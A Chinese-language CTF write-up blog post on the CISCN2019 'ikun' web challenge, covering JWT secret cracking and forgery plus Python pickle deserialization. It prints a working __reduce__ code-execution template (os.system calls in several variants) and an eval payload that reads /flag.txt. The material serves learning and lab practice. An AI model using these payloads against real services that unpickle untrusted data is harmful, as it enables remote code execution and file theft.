2021-7-30 [CISCN2019 华北赛区 Day1 Web2]ikun 知识点:逻辑漏洞,JWT伪造,python-pickle反序列化


前言

一开始看到kunkun,好家伙,做着做着发现这真是道难题,好你个姬霓太美,太菜了不得不去看大佬wp,才发现是我从未体验过得全新知识点,针不搓呢!!!

前置知识

参考大佬博客:
https://www.cnblogs.com/Cl0ud/p/12177062.html
https://www.cnblogs.com/wangtanzhi/p/12178311.html

一、JWT

JWT解码网站
Json Web Token详解
JWT破解工具
jwtcrack用法:

./jwtcrack+密文
//可以解出秘钥,然后去jwt解码网站可以更改姓名

二、Python-pickle反序列化

python-pickle反序列化讲解
Python魔术方法讲解:

C-pickle反序列化漏洞:

Python中有个库可以实现序列化和反序列化操作,名为pickle或cPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,因此这里选用cPickle库作为示例。

cPickle可以对任意一种类型的Python对象进行序列化操作。下面是主要的四个函数:

cPickle.dump(obj, file, [,protocol]):将Python对象序列化保存到本地的文件中。

obj:想要序列化的obj对象。 file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

cPickle.load(file):载入本地文件,将文件内容反序列化为Python对象。

file:文件名称。

cPickle.dumps(obj[, protocol]):将Python对象序列化为字符串。

obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

cPickle.loads(string):将字符串反序列化为Python对象。

string:文件名称。

【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码

检测这种反序列化漏洞的方法:

全局搜索Python代码中是否含有关键字类似“import cPickle”或“import
pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。

魔术方法:
pickle

注意:以下payload都是python2的环境下,去Python3运行之后结果是错误的。。。。。

修改reduce魔术方法的通用模板:

import cPickle
 
class Person(object):
    def __init__(self,username,password):
        self.username = username 
        self.password = password 
 
    def __reduce__(self):
    	# 未导入os模块,通用
    	return (__import__('os').system, ('calc.exe',))
    	# return eval,("__import__('os').system('calc.exe')",)
    	# return map, (__import__('os').system, ('calc.exe',))
    	# return map, (__import__('os').system, ['calc.exe'])
 
    	# 导入os模块
        # return (os.system, ('calc.exe',))
        # return eval, ("os.system('calc.exe')",)
        # return map, (os.system, ('calc.exe',))
        # return map, (os.system, ['calc.exe'])
 
admin = Person('admin','123456')
result = cPickle.dumps(admin)
 
user = cPickle.loads(result)

通用payload:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))
       #return (eval,("import('os').system('ls')",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

解题过程

由于大佬们的过程都十分详细了,我就不过多赘述了。
总的就是先写脚本找lv6,
然后替换jwt,
最后python-pickle的__reduce__反序列化漏洞利用。


总结

写完这个题,总的思路和知识点学到了很多,仍有一个不明白的点,就是最后的payload看大哥们都是同一个,直接打开flag.txt获得flag,但是怎么找到flag.txt没写出来payload,难受啊,希望有会的大哥能带带我!!!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sakura-501

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值